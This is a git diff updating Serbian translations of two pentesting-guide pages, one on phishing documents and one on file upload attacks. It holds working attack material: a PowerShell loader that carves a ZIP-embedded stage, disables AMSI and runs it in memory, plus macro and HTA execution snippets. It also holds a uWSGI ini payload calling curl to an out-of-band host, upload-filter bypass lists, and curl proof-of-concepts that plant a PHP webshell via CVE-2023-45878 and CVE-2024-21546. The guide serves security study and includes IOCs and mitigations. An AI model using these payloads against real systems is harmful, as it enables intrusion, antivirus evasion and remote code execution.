diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 53a8e6810..413bbbbcc 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,33 +1,35 @@ -# Phishing fajlovi & dokumenti +# Phishing fajlovi i dokumenti {{#include ../../banners/hacktricks-training.md}} ## Office dokumenti -Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija se obavlja u vidu identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se dogodi bilo kakva greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren. +Microsoft Word vrši validaciju podataka fajla pre otvaranja fajla. Validacija podataka se vrši kroz identifikaciju strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se tokom identifikacije strukture podataka pojavi bilo koja greška, fajl koji se analizira neće biti otvoren. -Obično Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa. Na primer, RTF fajl po dizajnu ne podržava makroe, ali `.docm` fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa. Ista interna logika i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint itd.). +Obično Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je promeniti ime fajla menjajući ekstenziju i ipak zadržati sposobnost izvršavanja makroa.\ +Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće obrađen u Microsoft Wordu i moći će da izvršava makroe.\ +Ista interna struktura i mehanizmi važe za ceo Microsoft Office Suite (Excel, PowerPoint itd.). Možete koristiti sledeću komandu da proverite koje će ekstenzije biti izvršavane od strane nekih Office programa: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +DOCX fajlovi koji referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu “izvršavati” macros takođe. ### Učitavanje spoljne slike Idite na: _Insert --> Quick Parts --> Field_\ -_**Kategorije**: Links and References, **Nazivi polja**: includePicture, and **Ime fajla ili URL**:_ http:///whatever +_**Kategorije**: Links and References, **Nazivi polja**: includePicture, i **Naziv fajla ili URL**:_ http:///whatever ![](<../../images/image (155).png>) ### Macros Backdoor -Moguće je koristiti macros za pokretanje arbitrary code iz dokumenta. +Moguće je koristiti macros da pokrenu arbitrary code iz dokumenta. #### Autoload functions -Što su češće, veća je verovatnoća da će ih AV otkriti. +Što su češći, to je verovatnije da će ih AV detektovati. - AutoOpen() - Document_Open() @@ -66,22 +68,22 @@ proc.Create "powershell Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**. -#### Ekstenzija dokumenta +#### Doc Extension Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\ -Uradite ovo zato što ne možete sačuvati **macros** unutar **`.docx`**, i postoji **stigmatizacija** **oko** macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima ogroman `!` i neki web/email gateway-ovi ih u potpunosti blokiraju). Stoga je ova **legacy `.doc` ekstenzija najbolje kompromisno rešenje**. +Uradite ovo zato što **ne možete sačuvati makroe u `.docx`** i postoji **stigmatizacija** oko makro-omogućenog formata **`.docm`** (npr. sličica ima veliki `!` i neki web/email gateway-i ih potpuno blokiraju). Dakle, ova **legacy `.doc` ekstenzija predstavlja najbolje kompromisno rešenje**. -#### Generatori zlonamernih Macros +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA fajlovi +## HTA Files -HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača. +HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao „potpuno poverena“ aplikacija, bez ograničenja bezbednosnog modela pregledača. -HTA se izvršava pomoću **`mshta.exe`**, koji se obično instalira zajedno sa **Internet Explorer**, što čini **`mshta`** zavisnim od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše. +HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, što čini **`mshta` zavisnim od IE**. Dakle, ako je IE deinstaliran, HTA fajlovi neće moći da se izvrše. ```html <--! Basic HTA Execution --> @@ -136,11 +138,11 @@ var_func self.close ``` -## Forsiranje NTLM autentikacije +## Forcing NTLM Authentication -Postoji nekoliko načina da **forsirate NTLM autentikaciju „na daljinu“**, na primer, možete dodati **nevidljive slike** u mejlove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **okidati** **autentikaciju** samo otvaranjem foldera. +Postoji nekoliko načina da **force NTLM authentication "remotely"**, na primer, možete dodati **nevidljive slike** u mejlove ili HTML koje će korisnik pristupiti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem foldera. -**Pogledajte ove ideje i još više na sledećim stranicama:** +**Pogledajte ove ideje i više na sledećim stranicama:** {{#ref}} @@ -154,24 +156,24 @@ Postoji nekoliko načina da **forsirate NTLM autentikaciju „na daljinu“**, n ### NTLM Relay -Ne zaboravite da ne možete samo ukrasti hash ili autentikaciju već i **perform NTLM relay attacks**: +Ne zaboravite da ne možete samo ukrasti hash ili autentifikaciju, već takođe i **perform NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Veoma efektivne kampanje isporučuju ZIP koji sadrži dva legitimno izgledajuća dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izrezuje i izvršava u celosti u memoriji. +Veoma efikasne kampanje isporučuju ZIP koji sadrži dva legitimna lažna dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvoji i pokrene potpuno u memoriji. Tipičan tok koji implementira .lnk PowerShell one-liner: -1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. -2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. -3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate. -4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuskujte naredni stejdž (npr. uklonite sve # karaktere) i izvršite ga u memoriji. +1) Pronađi originalni ZIP na uobičajenim lokacijama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i u roditeljskom direktorijumu trenutnog radnog direktorijuma. +2) Pročitaj bajtove ZIP-a i pronađi hardkodirani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload. +3) Kopiraj ZIP u %ProgramData%, otpakuj tamo i otvori lažni .docx da bi izgledalo legitimno. +4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji. -Primer PowerShell skeleta za izvlačenje i izvršavanje ugrađenog stejdža: +Example PowerShell skeleton to carve and run the embedded stage: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -188,33 +190,33 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Invoke-Expression $code ``` -Napomene -- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti payloads (poslužiti benigni ZIP prema IP/UA). -- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi smanjila tragove na disku. +Beleške +- Delivery često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti pristup payloads (servirajući benign ZIPs na osnovu IP/UA). +- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga preko Reflection.Emit + VirtualAlloc kako bi se smanjili artefakti na disku. -Persistence korišćen u istom lancu -- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja app koja ga ugradi ponovo automatski pokrene payload. Pogledajte detalje i gotove komande ovde: +Persistencija korišćena u istom lancu +- COM TypeLib hijacking Microsoft Web Browser control-a tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje automatski ponovo pokreće payload. See details and ready-to-use commands here: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} -Hunting/IOCs +Potraga/IOCs - ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive. -- .lnk koji pretražuje parent/user foldere da locira ZIP i otvori lažni dokument. +- .lnk koji enumeriše parent/user foldere da bi locirao ZIP i otvara lažni dokument. - AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Dugotrajni business threads koji se završavaju linkovima hostovanim na pouzdanim PaaS domenima. +- Dugo-trajući poslovni thread-ovi koji se završavaju linkovima hostovanim na pouzdanim PaaS domenima. -## Windows fajlovi za krađu NTLM hashes +## Windows fajlovi za krađu NTLM heševa -Proverite stranicu o **mestima za krađu NTLM creds**: +Pogledajte stranicu o **places to steal NTLM creds**: {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## Reference +## References - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 50d153de3..4809aa611 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,10 +1,10 @@ -# Otpremanje fajlova +# File Upload {{#include ../../banners/hacktricks-training.md}} -## Opšta metodologija za otpremanje fajlova +## File Upload General Methodology -Other useful extensions: +Druge korisne ekstenzije: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Zaobilaženje provere ekstenzija fajlova +### Bypass file extensions checks -1. Ako se primenjuju, **proverite** prethodne ekstenzije. Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._ -2. _Proverite **dodavanje validne ekstenzije pre** izvršne ekstenzije (koristite i prethodne ekstenzije):_ +1. Ako su primenjene, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._ +2. _Proverite **dodavanje važeće ekstenzije pre** eksekutivne ekstenzije (koristite i prethodne ekstenzije):_ - _file.png.php_ - _file.png.Php5_ -3. Pokušajte da dodate **specijalne karaktere na kraj.** Možete koristiti Burp da **bruteforce-ujete** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_) +3. Pokušajte dodati **specijalne karaktere na kraj.** Možete koristiti Burp za **bruteforce** svih **ascii** i **Unicode** karaktera. (_Napomena: takođe možete pokušati da koristite **ranije** pomenute **ekstenzije**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Pokušajte da zaobiđete zaštite **varanjem parsera ekstenzija** na server strani tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._ +4. Pokušajte zaobići zaštite **obmanom parsera ekstenzije** na serverskoj strani tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje smeća** (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,10 +43,10 @@ Other useful extensions: 5. Dodajte **još jedan sloj ekstenzija** u prethodnu proveru: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Pokušajte da stavite **exec ekstenziju pre validne ekstenzije** i nadajte se da je server pogrešno konfigurisan. (korisno za eksploatisanje Apache misconfig-a gde će bilo šta sa ekstenzijom **_.php_**, ali **ne nužno završavajući sa .php** izvršiti kod): +6. Pokušajte staviti **izvršnu ekstenziju pre važeće ekstenzije** i nadati se da je server pogrešno konfigurisan. (korisno za iskorišćavanje Apache miskonfiguracija gde će bilo šta sa ekstenzijom **.php**, čak i ako ne završava na .php, izvršiti kod): - _ex: file.php.png_ -7. Korišćenje **NTFS alternate data stream (ADS)** u **Windows**. U ovom slučaju biće ubacen karakter dvotačke ":" nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg”). Ovaj fajl može kasnije biti izmenjen drugim tehnikama, kao što je korišćenje njegovog short filename-a. Pattern "**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Dakle, dodavanje tačke nakon ovog patterna može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.”) -8. Pokušajte da prekidate limite imena fajla. Validna ekstenzija se iseče. I ostaje zlonamerni PHP. AAA<--SNIP-->AAA.php +7. Korišćenje **NTFS alternate data stream (ADS)** u **Windows**. U tom slučaju, dvotačka karakter ':' biće ubačena posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg”). Taj fajl može biti kasnije izmenjen korišćenjem drugih tehnika, kao što je korišćenje njegovog short filename-a. Šablon "**::$data**” takođe može biti korišćen za kreiranje nepraznih fajlova. Stoga, dodavanje tačke posle ovog šablona može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.”) +8. Pokušajte prekoračiti limit naziva fajla. Važeća ekstenzija se odseče. I ostaje zlonamerni PHP. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -Neki upload handler-i trimuju ili normalizuju trailing tačke iz sačuvanog imena fajla. U UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možete zaobići validaciju ekstenzija tako što ćete: +Neki upload handleri skraćuju ili normalizuju završne tačke iz sačuvanog imena fajla. U UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) verzijama pre 2.9.1, možete zaobići validaciju ekstenzije time što: -- Koristiti validan image MIME i magic header (npr. PNG’s `\x89PNG\r\n\x1a\n`). -- Imenovati otpremljeni fajl sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`. -- Server ukloni trailing tačku i sačuva `shell.php`, koji će se izvršiti ako je postavljen u web-servirani direktorijum (podrazumevano javno storage kao što je `/storage/files/`). +- Koristite važeći image MIME i magic header (npr. PNG’s `\x89PNG\r\n\x1a\n`). +- Imenujete otpremljeni fajl sa PHP ekstenzijom praćenom tačkom, npr. `shell.php.`. +- Server uklanja završnu tačku i sačuva `shell.php`, koji će se izvršiti ako je smešten u web-served direktorijumu (podrazumevano public storage kao što je `/storage/files/`). Minimalni PoC (Burp Repeater): ```http @@ -86,60 +86,60 @@ GET /storage/files/0xdf.php?cmd=id ``` Mitigations: - Ažurirajte unisharp/laravel-filemanager na ≥ 2.9.1. -- Primijenite stroge server-side allowlists i ponovo validirajte sačuvano ime fajla. -- Servirajte upload-ove iz non-executable lokacija. +- Primena stroge server-side allowlists i ponovna validacija sačuvanog imena fajla. +- Serve uploads iz lokacija koje nisu izvršne. -### Bypass Content-Type, Magic Number, Compression & Resizing +### Zaobilaženje Content-Type, Magic Number, Compression & Resizing -- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ +- Zaobiđite provere **Content-Type** tako što ćete postaviti **vrednost** **Content-Type** **header** na: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\ +- Zaobiđite proveru **magic number** dodavanjem na početak fajla **bajtova prave slike** (zbunite komandu _file_). Ili ubacite shell u **metadata**:\ `exiftool -Comment="' >> img.png` -- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Ako se na vašu sliku primenjuje **kompresija**, na primer korišćenjem standardnih PHP biblioteka kao što su [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike možda neće biti korisne. Međutim, možete iskoristiti **PLTE chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. +- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Web stranica takođe može da **menja dimenzije** slike, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete iskoristiti **IDAT chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. +- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Još jedna tehnika za pravljenje payload-a koji **preživi promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete iskoristiti **tEXt chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**. +- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Ostali trikovi za proveru -- Pronađite ranjivost koja omogućava **preimenovanje** već uploadovanog fajla (za promenu ekstenzije). -- Pronađite **Local File Inclusion** ranjivost za izvršavanje backdoora. +- Pronađite ranjivost koja omogućava **preimenovanje** već upload-ovanog fajla (da promenite ekstenziju). +- Pronađite **Local File Inclusion** ranjivost da pokrenete backdoor. - **Moguće otkrivanje informacija**: -1. Upload-ujte **više puta** (i **istovremeno**) **isti fajl** sa **istim imenom** -2. Upload-ujte fajl sa **imenom** fajla ili foldera koji već **postoji** -3. Upload-ovanje fajla sa **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called -uploads” in the "/www/" directory. -4. Upload-ujte fajl koji se možda ne može lako obrisati kao što je **"…:.jpg"** u **NTFS**. (Windows) -5. Upload-ujte fajl u **Windows** sa **nevalidnim karakterima** kao što su `|<>*?”` u imenu. (Windows) -6. Upload-ujte fajl u **Windows** koristeći **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. -- Pokušajte takođe da **upload-ujete izvršni fajl** (.exe) ili an **.html** (manje sumnjivo) koji **će izvršiti kod** kada ga žrtva slučajno otvori. +1. Otpremite **isti fajl** **više puta** (i **u isto vreme**) sa **istim imenom** +2. Otpremite fajl sa **imenom** fajla ili foldera koji **već postoji** +3. Otpremite fajl sa **"." , "..", or "…" kao imenom**. Na primer, u Apache na **Windows**, ako aplikacija čuva otpremjene fajlove u "/www/uploads/" direktorijumu, "." filename će kreirati fajl nazvan +uploads” u "/www/" direktorijumu. +4. Otpremite fajl koji možda nije lako obrisati kao što je **"…:.jpg"** u **NTFS**. (Windows) +5. Otpremite fajl u **Windows** sa **nevažećim karakterima** kao što su `|<>*?”` u imenu. (Windows) +6. Otpremite fajl u **Windows** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. +- Takođe pokušajte da **otpremite izvršni fajl** (.exe) ili **.html** (manje sumnjivo) koji će **izvršiti kod** kada ga žrtva slučajno otvori. -### Special extension tricks +### Posebni trikovi sa ekstenzijama -If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Ako pokušavate da otpremite fajlove na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Ako pokušavate da otpremite fajlove na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...) +Fajlovi `.phar` su kao `.jar` za java, ali za php, i mogu se **koristiti kao php fajl** (izvršavanjem pomoću php, ili uključivanjem u skriptu...) -The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**. +Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import fajlova**, tako da je moguće da je neko dozvolio **izvršavanje ove ekstenzije**. ## **Jetty RCE** -If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! +Ako možete otpremiti XML fajl na Jetty server možete dobiti [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na slici ispod, otpremite XML fajl u `$JETTY_BASE/webapps/` i očekujte shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Za detaljno istraživanje ove ranjivosti pogledajte originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. +Ranljivosti za Remote Command Execution (RCE) mogu se iskoristiti na uWSGI serverima ako napadač ima mogućnost da izmeni `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" promenljivih, placeholder-a i operatora. Posebno, '@' operator, korišćen kao `@(filename)`, je dizajniran da uključi sadržaj fajla. Među raznim podržanim schemes u uWSGI, "exec" scheme je naročito moćna, omogućavajući čitanje podataka sa standardnog izlaza procesa. Ova funkcionalnost se može iskoristiti za zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se obradi `.ini` konfiguracioni fajl. -Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: +Razmotrite sledeći primer zlonamernog `uwsgi.ini` fajla, koji prikazuje različite schemes: ```ini [uwsgi] ; read from a symbol @@ -157,22 +157,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Izvršavanje payload-a se dešava tokom parsiranja konfiguracionog fajla. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog Denial of Service napada) ili fajl mora biti podešen na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava fajl u zadatim intervalima nakon otkrivanja promena. +Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (moguće nakon crash-a ili zbog Denial of Service napada) ili datoteka mora biti podešena na auto-reload. Auto-reload feature, ako je omogućen, ponovo učitava datoteku u zadatim intervalima pri detekciji promena. -Ključno je razumeti popustljivost načina parsiranja konfiguracionih fajlova uWSGI-a. Konkretno, pomenuti payload se može ubaciti u binarni fajl (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije. +Ključno je razumeti labavu prirodu parsiranja konfiguracionih datoteka u uWSGI-ju. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (npr. image ili PDF), čime se dodatno širi opseg potencijalne eksploatacije. -### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878) +### Gibbon LMS arbitrarno upisivanje datoteke do pre-auth RCE (CVE-2023-45878) -Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01. +Neautentifikovani endpoint u Gibbon LMS dozvoljava arbitrarno upisivanje datoteke unutar web root-a, što dovodi do pre-auth RCE postavljanjem PHP fajla. Ranljive verzije: do i uključujući 25.0.01. - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php` - Method: POST -- Required params: +- Obavezni parametri: - `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail) - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`) -- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`) +- `gibbonPersonID`: bilo koja neprazna vrednost je prihvaćena (npr. `0000000001`) -Minimal PoC to write and read back a file: +Minimalni PoC za upis i čitanje fajla: ```bash # Prepare test payload printf '0xdf was here!' | base64 @@ -185,7 +185,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ # Verify write curl http://target/Gibbon-LMS/poc.php ``` -Postavite minimalni webshell i izvršavajte komande: +Postavite minimalni webshell i izvršite komande: ```bash # '' base64 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg== @@ -196,15 +196,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami' ``` Beleške: -- Handler izvršava `base64_decode($_POST["img"])` nakon deljenja po `;` i `,`, zatim upisuje bajtove u `$absolutePath . '/' . $_POST['path']` bez validacije ekstenzije/tipa. -- Rezultujući kod se izvršava kao korisnik web servisa (npr. XAMPP Apache na Windows). +- Handler izvršava `base64_decode($_POST["img"])` nakon što podeli po `;` i `,`, 